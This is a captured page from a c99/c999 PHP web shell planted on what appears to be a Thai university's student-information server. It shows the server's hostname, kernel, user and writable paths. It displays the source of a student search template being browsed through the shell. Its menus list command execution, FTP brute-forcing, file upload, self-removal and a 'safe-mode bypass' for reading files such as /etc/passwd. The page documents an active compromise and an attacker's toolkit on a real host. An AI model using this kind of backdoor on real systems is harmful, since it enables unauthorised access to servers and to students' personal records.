!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchStudentHis.php (4.12 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" align="center">    
    <tr>
        <td><div align="center">
            <table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
                <tr>
                    <td><table class="szone">
                    <?php echo form_open($this->config->item("rg_folder")."studenthis/std_searchHis", array("name" => "myform""id" => "myform"));?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="25" class="indent"><font size="2"><b>รหัสนักศึกษา</b>
                            <input type="text" name="stdCode" id="stdCode" value="<?php echo set_value('stdCode');?>" maxlength="10" class="required-int" /></td>
                            <td height="25" class="indent"><font size="2"><b>ชื่อนักศึกษา</b>
                            <input type="text" name="stdName" id="stdName" value="<?php echo set_value('stdName');?>" maxlength="30" /></td>
                            <td height="25" class="indent"><font size="2"><b>ชื่อสกุลนักศึกษา</b>
                            <input type="text" name="stdSurname" id="stdSurname" value="<?php echo set_value('stdSurname');?>" maxlength="30" class="required-int" /></td>
                        </tr>
<?php
                        
if(isset($str_fault)) {
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="25" colspan="3" align="center"><font color="<?php echo $this->config->item('rg_font_color_err');?>"><?php echo $str_fault;?></font></td>
                        </tr>
<?php
                        
}
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td colspan="3" align="center">
                            <input type="submit" name="search" id="search" value="ค้นหา" />
                            <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                            </td>
                        </tr>
                    <?php echo form_close();?></table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th colspan="5"><font size="2" color="<?php echo $font_color_table;?>">รายชื่อนักศึกษา</font></th>
                        </tr>
                        <tr>
                            <th class="stdCodeCol"><font size="2" color="<?php echo $font_color_table;?>">รหัสนักศึกษา</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">ชื่อ-นามสกุล</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">หลักสูตร</font></th>
                            <th class="groupCol"><font size="2" color="<?php echo $font_color_table;?>">ชั้นปี</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">สถานะนักศึกษา</font></th>
                        </tr>
<?php
                $i 
0;
                if(isset(
$rs_std) && $rs_std->num_rows()) {
                    foreach(
$rs_std->result() as $row) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><font size="2"><?php echo $row->stdCode;?></font></td>
                            <td class="indent"><font size="2">
                            <span class="hand" onClick="sendPost('hidform',
                            {'stdId':<?php echo $row->stdId;?>},
                            '<?php echo site_url($this->config->item('rg_folder').'studenthis/std_editStdMBHis');?>')" /><?php echo $row->prefixName.$row->stdName.' '.$row->stdSurname;?></span>
                            </font></td>
                            <td class="indent"><font size="2"><?php echo $row->curName;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->syCode;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->sstName;?></font></td>
                        </tr>
<?php
                        $i
++;
                    }
                } else {
?>
                        <tr>
                            <td colspan="5" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="5" align="right"><font size="2">รวม <?php echo $i;?> รายการ</font></td>
                </tr>
            </table></div>
        <br><font color="<?php echo $font_color_err;?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อนักศึกษาเพื่อดูข้อมูลประวัตินักศึกษา<br></font><br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0136 ]--